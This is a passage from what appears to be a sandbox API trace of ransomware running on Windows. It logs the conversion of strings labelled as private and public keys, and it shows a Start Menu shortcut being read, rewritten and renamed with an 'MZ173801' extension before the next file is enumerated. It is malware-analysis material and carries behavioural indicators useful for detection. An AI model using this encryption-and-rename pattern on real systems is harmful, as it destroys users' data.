9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0212.624] GetCurrentThreadId () returned 0xab4 [0212.624] GetCurrentThreadId () returned 0xab4 [0212.624] GetCurrentThreadId () returned 0xab4 [0212.625] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0212.625] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0212.626] GetCurrentThreadId () returned 0xab4 [0212.626] GetCurrentThreadId () returned 0xab4 [0212.626] GetCurrentThreadId () returned 0xab4 [0212.626] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\paint.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0212.626] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0212.626] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0212.626] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x45a [0212.626] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0212.627] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0x45a, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0x45a, lpOverlapped=0x0) returned 1 [0212.698] CloseHandle (hObject=0x330) returned 1 [0212.698] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\paint.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0212.699] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0x45a, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0x45a, lpOverlapped=0x0) returned 1 [0212.700] CloseHandle (hObject=0x330) returned 1 [0212.701] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\paint.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\paint.lnk.mz173801")) returned 1 [0212.704] GetCurrentThreadId () returned 0xab4 [0212.704] GetCurrentThreadId () returned 0xab4 [0212.704] GetCurrentThreadId () returned 0xab4 [0212.704] GetCurrentThreadId () returned 0xab4 [0212.704] GetCurrentThreadId () returned 0xab4 [0212.704] GetCurrentThreadId () returned 0xab4 [0212.704] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d6e8df9, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9e26238d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x9c706000, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x48c, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Quick Assist.lnk", cAlternateFileName="")) returned 1 [0212.704] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0212.704] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0212.704] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Quick Assist.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\quick assist.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d6e8df9, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9e26238d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x9c706000, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x48c)) returned 1 [0212.707] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Quick Assist.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\quick assist.lnk")) returned 0x20 [0212.707] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Quick Assist.lnk", dwFileAttributes=0x80) returned 1 [0212.709] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0212.709] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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